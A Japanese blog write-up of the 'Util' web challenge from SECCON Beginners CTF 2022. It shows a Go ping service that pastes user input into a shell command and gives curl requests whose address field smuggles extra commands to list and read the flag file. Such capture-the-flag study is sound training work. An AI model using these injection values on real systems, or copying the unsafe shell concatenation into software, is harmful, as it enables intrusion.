SECCON Beginners CTF 2022 に参加してみた

SECCON Beginners CTF 2022とは

www.seccon.jp

Writeups

web - Util

サイトへのリンクと、そのサイトのdockerファイルが与えられています。

utilのサイト画面

pingチェックができるサイトのようなので、試しに172.0.0.1を入力してみます。

utilにIPアドレスを入力した結果

フォームに入力した値をpingコマンドに渡しているように見えます。配布されているファイルを見てみると次のことがわかります。

  • ブラウザのフォームに入力した値は、/util/pingというURLにPOSTされる
  • フォームの値は、IPアドレスの形式になっていないとエラーとなる(クライアントサイドで検証している)
# pages/index.html の37行目以降を抜粋して一部改変
<script>
    function send() {
      var address = document.getElementById("addressTextField").value;

      # ここでIPアドレスの正規表現にマッチするか判定している(マッチしないとエラー)
      if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
        var json = {};
        json.address = address

        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/util/ping");
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.send(JSON.stringify(json));

        #----------- ping結果表示処理 -----------

      } else {
         #----------- エラー表示処理 -----------
        document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
      }
    }
...
  • POSTされた値は、pingコマンドの引数として渡される
# main.go のmain()部分を抜粋
func main() {
    r := gin.Default()

    r.LoadHTMLGlob("pages/*")

    r.GET("/", func(c *gin.Context) {
        c.HTML(200, "index.html", nil)
    })

    r.POST("/util/ping", func(c *gin.Context) {
        var param IP
        if err := c.Bind(&param); err != nil {
            c.JSON(400, gin.H{"message": "Invalid parameter"})
            return
        }

        commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
        result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

        c.JSON(200, gin.H{
            "result": string(result),
        })
    })

    if err := r.Run(); err != nil {
        panic(err)
    }
}

なお、Flagが書かれたファイルはDockerfile27行目に下記の記述があることから/(ルート)配下にあることがわかります

RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt

以上より、クライアントサイドの検証を回避して任意の文字列をPOSTすることで、OSコマンドインジェクションを起こせばFlagを取れそうとわかります。

下記のようにしてOSコマンドインジェクションをしてみます。

curl -s  -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json"  -d '{"address":"127.0.0.1 >/dev/null; ls / | grep flag"}' | jq -r .result

実際にはサーバ上では下記のコマンドが実行されています。

ping -c 1 -W 1 127.0.0.1 >/dev/null; ls / | grep flag / 1>&2

結果、「flag_A74FIBkN9sELAjOc.txt」が表示され、flagファイルの名前が分かります。

最後に、このファイルを表示させればFlagをゲットです。

curl -s  -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json"  -d '{"address":"127.0.0.1 >/dev/null; cat /flag_A74FIBkN9sELAjOc.txt"}' | jq -r .result
Flag = ctf4b{al1_0vers_4re_i1l}

更新履歴

  • 2022/06/06 : 初版